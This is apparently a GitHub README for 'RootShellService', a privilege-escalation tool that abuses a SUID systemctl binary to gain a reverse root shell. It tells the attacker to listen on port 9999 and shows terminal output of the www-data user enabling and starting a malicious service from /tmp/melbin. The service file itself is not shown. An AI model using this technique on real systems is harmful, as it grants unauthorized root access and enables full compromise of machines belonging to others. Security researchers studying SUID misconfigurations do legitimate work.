Skip to content

Latest commit

 

History

History
13 lines (10 loc) · 577 Bytes

File metadata and controls

13 lines (10 loc) · 577 Bytes

RootShellService

Linux Service for Getting Root shell from systemctl SUID

Listen on port 9999 of attacker machine for reverse root shell.

www-data@machine:/tmp/melbin$ systemctl enable /tmp/melbin/root.service
<p/melbin$ systemctl enable /tmp/melbin/root.service
Created symlink from /etc/systemd/system/multi-user.target.wants/root.service to /tmp/melbin/root.service. Created symlink from /etc/systemd/system/root.service to /tmp/melbin/root.service. www-data@machine:/tmp/melbin$ systemctl start root systemctl start root www-data@machine: